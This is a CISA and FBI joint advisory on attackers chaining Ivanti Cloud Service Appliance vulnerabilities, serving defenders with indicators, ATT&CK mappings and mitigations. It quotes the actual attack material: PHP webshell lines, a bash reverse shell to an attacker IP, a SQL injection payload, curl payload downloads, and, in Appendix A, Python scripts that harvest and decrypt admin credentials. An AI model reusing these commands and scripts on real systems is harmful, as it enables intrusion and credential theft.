Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti’s Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE -2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.
Summary
The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.
According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.
All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]
Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.
Download the PDF version of this report:
AA25-022A Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications
(PDF, 756.92 KB
)
For a downloadable copy of IOCs, see:
AA25-022A STIX XML
(XML, 105.56 KB
)
AA25-022A STIX JSON
(JSON, 76.91 KB
)
Technical Details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]
CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]
According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.
According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.
Exploit Chain 1
The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a nobody user [T1564.002], the threat actors first sent a GET request to datetime.php to acquire session and cross-site request forgery (CSRF) tokens using GET /client/index.php%3F.php/gsb/datetime[.]php [T1071.001]. They followed this in quick succession with a POST request to the same endpoint, using the TIMEZONE input field to manipulate the setSystemTimeZone function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. Note: The actors used multiple script variations. See Appendix A for examples of encoded and decoded scripts.
In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression phpw{6} located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.
After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a GET request to /gsb/reports[.]php. They immediately followed this with a POST request using the TW_ID input field to execute code to implant webshells for persistence [T1505.003].
In one confirmed compromise, the threat actors tried to create webshells using two different paths:
echo “<?php system(@$_REQUEST[‘a’]);”>/opt/ivanti/csa/broker/webroot/client/help.php
echo “<?php system(‘/bin/sudo ‘. @$_REQUEST[‘a’]);” > /opt/landesk/broker/webroot/gsb/help.php
In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1.
In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used sudo commands to disable the vulnerability in DateTimeTab.php, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of sudo commands used.
Lateral Movement
In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].
Exploit Chain 2
In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php for initial access.
After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET and POST requests in quick succession to /client/index.php%3F.php/gsb/broker.php. In the POST body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES (”’echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k”’, NOW(), 10). The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info table.
After inserting valid bash code as a user in the user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.
Detection of Activity
According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.
Victim Organization 1
The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.
Victim Organization 2
This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.
Victim Organization 3
This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.
Indicators of Compromise
See Table 1 through Table 3 for IOCs related to the threat actors’ exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.
Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.
Table 1: IP Address Used for Credential Theft, September 2024
File Name
IP Address
Description
“/client/index.php%3f.php/gsb/datetime.php
142.171.217[.]195
/var/log/messages
“/client/index.php%3f.php/gsb/datetime.php
154.64.226[.]166
/var/log/messages-20240904.gz
“/client/index.php%3f.php/gsb/datetime.php
216.131.75[.]53
“/client/index.php%3f.php/gsb/datetime.php
23.236.66[.]97
/var/log/messages-20240905.gz
“/client/index.php%3f.php/gsb/datetime.php
38.207.159[.]76
/var/log/messages-20240906.gz
Table 2: Survey 2, Ivanti CSA Network IOC List, September 2024
File Name
IP Address
Description
149.154.167[.]41
95.161.76[.]100
hxxps://file.io/E50vtqmJP5aa
hxxps://file.io/RBKuU8gicWt
hxxps://file.io/frdZ9L18R7Nx
hxxp://ip.sb
hxxps://pan.xj.hk/d/
6401646e701f5f47518ecef48a308a36/redis
142.171.217[.]195
108.174.199[.]200
206.189.156[.]69
108.174.199[.]200/Xa27efd2.tmp
142.171.217[.]195
Table 3: Additional IOCs Derived from Incident Response, September 2024
Type
IOC
Description
Ipv4
107.173.89[.]16
Ipv4
38.207.159[.]76
Ipv4
142.171.217[.]195
Ipv4
154.64.226[.]166
Ipv4
156.234.193[.]18
Ipv4
216.131.75[.]53
Ipv4
205.169.39[.]11
Ipv4
23.236.66[.]97
Ipv4
149.154.176[.]41
Ipv4
95.161.76[.]100
Ipv4
142.171.217[.]195
Ipv4
108.174.199[.]200
Ipv4
206.189.156[.]69
Ipv4
142.171.217[.]195
Ipv4
67.217.228[.]83
Ipv4
203.160.72[.]174
Ipv4
142.11.217[.]3
Ipv4
104.168.133[.]228
Ipv4
64.176.49[.]160
Ipv4
45.141.215[.]17
Ipv4
142.171.217[.]195
Ipv4
98.101.25[.]30
Ipv4
216.131.75[.]53
Ipv4
134.195.90[.]71
Ipv4
23.236.66[.]97
Hash
a50660fb31df96b3328640fdfbeea755
Hash
53c5b7d124f13039eb62409e1ec2089d
Hash
698a752ec1ca43237cb1dc791700afde
Hash
aa69300617faab4eb39b789ebfeb5abe
Hash
c2becc553b96ba27d60265d07ec3bd6c
Hash
cacc30e2a5b2683e19e45dc4f191cebc
/opt/ivanti/csa/broker/webroot/client/help.php
Hash
061e5946c9595e560d64d5a8c65be49e
/opt/landesk/broker/webroot/gsb/view.php
Hash
e35cf026057a3729387b7ecfb213ae
62a611f0f1a418876b11c9df3b56885bed
/tmp/brokerdebug
Hash
c7d20ca6fe596009afaeb725fec8635f
/opt/landesk/broker/webroot/gsb/help.php
Hash
F7F81AE880A17975F60E1E0FE1A4048B
/opt/landesk/broker/webroot/gsb/DateTimeTab.php
Hash
86B62FFD33597FD635E01B95F08BB996
/opt/landesk/broker/webroot/gsb/style.php
Hash
DD975310201079CACD4CDE6FACAB8C1D
/opt/landesk/broker/webroot/client/index.php
Hash
1B20E9310CA815F9E2BD366FB94E147F
/sbin/systemd
Configuration file at /WpService.conf
Hash
30f57e14596f1bcad7cc4284d1af4684
/sbin/systemd
Configuration file at /WpService.conf
URL
hxxps://file.io/E50vtqmJP5aa
URL
hxxps://file.io/RBKuU8gicWt
URL
hxxps://file.io/frdZ9L18R7Nx
URL
hxxp://ip.sb
URL
hxxps://pan.xj.hk/d/
6401646e701f5f47518ecef48a308a36/redis
URL
108.174.199.200/Xa27efd2.tmp
URL
45.33.101.53/log
URL
45.33.101.53/log2
URL
208.184.237.75/fdsupdate
URL
173.243.138.76/fdsupdate
URL
cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun
URL
cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun
domain
gg.oyr2ohrm.eyes[.]sh
domain
ggg.oyr2ohrm.eyes[.]sh
domain
gggg.oyr2ohrm.eyes[.]sh
domain
txt.xj[.]hk
domain
book.hacktricks[.]xyz
host
sh -c setsid /dev/shm/redis &
host
sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o
/dev/shm/redis2
host
sh -c mv /dev/shm/redis2 /dev/shm/redis
host
sh -c rm /dev/shm/*
host
rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis
host
78cc672218949a9ec87407ad3bcb5db6
Agent.zip
host
d13f71e51b38ffef6b9dc8efbed27615
Log.log
host
d88bfac2b43509abdc70308bef75e2a6
Log.exe
host
R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3)
R.exe
host
ae51c891d2e895b5ca919d14edd42c26
CAService.exe
host
d88bfac2b43509abdc70308bef75e2a6
Lgfxsys.exe
host
f82847bccb621e6822a3947bc9ce9621
NetlO.cfg
host
c894f55c8fa9d92e2dd2c78172cff745
XboVFyKw.tmp
host
MD5: Unknown
Wi.bat
host
MD5: Unknown
dCUgGXfm.tmp
host
MD5: Unknown
DijZViHC.tmp
CrowdStrike Falcon
e09fef2f502a41c199046219a6584e8d
CrowdStrike falcon cid
/var/secure log
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf
/var/secure log
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini
/var/secure log
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock –localtime –systohc
/var/secure log
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool –fullList
Ipv4
142.171.217[.]195
Ipv4
107.173.89[.]16
Ipv4
192.42.116[.]210
Ipv4
82.197.182[.]161
Ipv4
154.213.185[.]230
Ipv4
216.131.75[.]53
Ipv4
23.236.66[.]97
Ipv4
208.105.190[.]170
Ipv4
136.144.17[.]145
Ipv4
136.144.17[.]133
Ipv4
216.73.162[.]56
Ipv4
104.28.240[.]123
Ipv4
163.5.171[.]49
Ipv4
89.187.178[.]179
Ipv4
163.5.171[.]49
Ipv4
203.160.86[.]69
Ipv4
185.220.69[.]83
Ipv4
185.199.103[.]196
Ipv4
188.172.229[.]15
Ipv4
155.138.215[.]144
Ipv4
64.176.49[.]160
Ipv4
185.40.4[.]38
Ipv4
216.131[.]75.53
Ipv4
185.40.4[.]95
MITRE ATT&CK Tactics and Techniques
See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Table 4: Reconnaissance
Technique Title
ID
Use
Active Scanning: Vulnerability Scanning
T1595.002
Threat actors performed reconnaissance by using Obelisk and GoGo to scan for vulnerabilities.
Table 5: Initial Access
Technique Title
ID
Use
Exploit Public-Facing Application
T1190
Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications.
Table 6: Execution
Technique Title
ID
Use
Command and Scripting Interpreter
T1059
Threat actors abused command and script interpreters to execute commands, scripts, or binaries.
Table 7: Persistence
Technique Title
ID
Use
Modify Authentication Process
T1556
Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations’ networks.
Server Software Component: Web Shell
T1505.003
Threat actors executed code to implant webshells for persistence.
Table 8: Privilege Escalation
Technique Title
ID
Use
Exploitation for Privilege Escalation
T1068
Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server.
Table 9: Defense Evasion
Technique Title
ID
Use
Hide Artifacts: Hidden Users
T1564.002
Threat actors acted as a hidden user to disguise their presence on a system.
Deobfuscate/Decode Files or Information
T1140
Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file.
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1548.003
Threat actors used sudo commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation.
Table 10: Credential Access
Technique Title
ID
Use
Unsecured Credentials: Credentials in Files
T1552.001
Threat actors harvested encrypted admin credentials to gain further access.
Table 11: Lateral Movement
Technique Title
ID
Use
Exploitation of Remove Services
T1210
Threat actors exploited CSAs via remote services to gain access to an organization’s networks by leveraging programming errors, EOL systems, and operating systems.
Table 12: Command and Control
Technique Title
ID
Use
Remote Access Software
T1219
Threat actors attempted to remotely authenticate into a victim’s network and execute arbitrary commands on the appliance.
Application Layer: Web Protocol
T1071.001
Threat actors used tools such as GET or POST requests to acquire session and CSRF tokens.
Table 13: Exfiltration
Technique Title
ID
Use
Exfiltration
TA0010
Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use.
Incident Response
If compromise is detected, the authoring agencies recommend that organizations:
Quarantine or take offline potentially affected hosts.
Reimage compromised hosts.
Provision new account credentials.
For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).
Mitigations
CISA and FBI recommend organizations:
Upgrade to the latest supported version of Ivanti CSA immediately for continued support.[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.
Establish a baseline and maintain detailed logs of network traffic, account behavior, and software. This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
Secure remote access tools by:
Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
Audit the network for systems using RDP.
Close unused RDP ports.
Enforce account lockouts after a specified number of attempts.
Apply phishing-resistant multifactor authentication (MFA).
Log RDP login attempts.
Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
Follow best cybersecurity practices in your production and enterprise environments,including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).
Validate Security Controls
In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Table 4 through Table 13).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
References
Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)
Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)
Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)
Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA
Contact Information
Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:
CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.
Version History
January 22, 2025: Initial version.
Appendix A: Encoded and Decoded Scripts
Decoded Python Scripts
{import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin’\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)}
{import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’service'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’service’\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)}
import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
{import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’,lockoutalert=0,attempts=0 where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip() v = p.split(‘:’) k = os.popen(‘base 64 -w0 root/.certs/{}.key’.format(v[1])).read() set_msg(dbpwd, “PASSWORD”, p+’||’+k) time.sleep(30) set_msg(dbpwd)}
{import os, re, base64, time
def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’,lockoutalert=0 where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
os.chdir(“/tmp”)d = “/backups”try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd)) if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} ‘{}’ ‘{}’ ‘{}’ root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)}
{import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)}
Decoded datetime.php ‘timezone’ Exploit base64 Scripts
